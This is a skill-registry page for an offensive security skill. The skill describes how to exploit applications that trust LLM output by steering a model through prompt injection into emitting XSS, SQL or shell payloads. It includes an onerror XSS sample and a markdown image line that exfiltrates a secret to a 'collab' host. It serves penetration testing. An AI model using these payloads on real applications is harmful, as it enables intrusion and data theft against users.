Перейти к содержимому
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
noorqureshi/ai-insecure-output-handlingИИ, агенты и MCP

ai-insecure-output-handling

⁨Exploit apps that trust LLM output — pass model text unsanitized into XSS sinks, SQL, shell, code, or downstream calls. Load when LLM output is rendered as HTML/markdown, executed, or fed to another system. Signals: chatbot output shown with innerHTML/dangerouslySetInnerHTML, "run this code", LLM-ge⁩

v2026.10.14-ee0e0c53 установки+3 за 7 дней27 ЗвездыMITсинхронизировано 22 часа назад

Установка

Ещё нет NotHoly CLI? Сначала установите её.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/ai-insecure-output-handling

Пишет в ⁦~/.notholy/skills⁩ после проверки подписи и SHA-256.

ПодписьПодписано, ed25519
SFQ7oMyxvD…USe1HRDg==CLI проверяет SHA-256 и подпись, прежде чем записать хоть один файл.
Пакет4c2fec1e…41b78dbf
4c2fec1e08e0…629241b78dbf1 файл · ⁦1.5 KB⁩
ПроверкаНизкий1 замечание
  • Ссылки на внешние домены
Вся проверка
Источникgithub.com/NoorQureshi/security-skills/tree/main/skills/ai-ml/ai-insecure-output-handling@ee0e0c5

Эта запись еще не переведена на русский, поэтому показан текст на другом языке: English.

When it applies

The app treats LLM output as trusted and passes it into a dangerous sink — rendered as HTML, executed as code/SQL/shell, or forwarded to another API. The model becomes an injection vector, especially when its input is attacker-influenced (→ chain with ai-prompt-injection).

Why it works

Developers trust their own model's output, but it's just text — and an attacker can steer it via prompt injection. If that text lands in innerHTML, eval, a SQL string, a shell command, or a system call without sanitization, you get XSS/RCE/SQLi through the LLM.

Method

  1. Find the sink: where does model output go? HTML render (innerHTML, markdown→HTML, dangerouslySetInnerHTML), code exec (eval, code interpreter), DB (LLM-built query), shell, or another service call.
  2. Get the model to emit a payload: via direct or indirect prompt injection, make the output contain <img src=x onerror=alert(document.domain)>, a javascript: link, SQL, or a command.
  3. Route to impact:
    • Rendered output → stored/reflected XSS (fires for the user or others viewing the chat).
    • Code-interpreter/tool → RCE (→ ai-agent-tool-abuse).
    • LLM-generated SQL/commands executed → SQLi / command injection.
  4. Markdown exfil: model emits ![x](https://collab/?d=<secret>) → beacons data on render.

Gotchas

  • The bug is in the app's handling, not the model — the fix is output encoding/sandboxing, same as any injection.
  • Stored XSS via chat history hits every viewer — high impact, easy to miss.
  • Combine with prompt injection to reliably control the output; prove real execution, not just odd text.

Verify success

Model-produced content executes in a sink — XSS firing in the app's origin, code/command execution, or injected SQL — traceable to LLM output.

References

OWASP LLM Top 10 (2025) LLM05; PortSwigger "web LLM attacks"; markdown-exfil write-ups.

Файлы этой версии

Права

ПравоЗаявленоНайдено проверкой
Читает файлыНетНет
Пишет файлыНетНет
Выполняет команды shellНетНет
Ходит в сетьДаДа
Использует коннекторыНетНет
Управляет браузеромНетНет

Замечания проверки

Проверено 13 нояб. 2026 г.

  1. ИнфоСсылка · Ссылки на внешние домены

Чистая проверка снижает риск, но не доказывает, что пакет безопасен. Читайте то, что ставите.

ВерсияОпубликованаКоммитSHA-256ПодписьИзменение прав
v2026.10.14-ee0e0c513 нояб. 2026 г.ee0e0c54c2fec1eПодписана–

Спрашивайте обо всём, что позволяет ваш скоуп.

Создайте аккаунт, пополните баланс и задайте первый вопрос в чате или в терминале.

  1. 1/3

    Создайте аккаунт

    Личный или для компании. Позже можно перейти на аккаунт компании без потери баланса и ключей.

    ЛичныйКомпания
  2. 2/3

    Пополните баланс

    Картой. Оплата за токены, без подписки.

    $5.00минимальное пополнение
  3. 3/3

    Спрашивайте

    В чате, или установите CLI и выполните notholy login в терминале.

    $ notholy login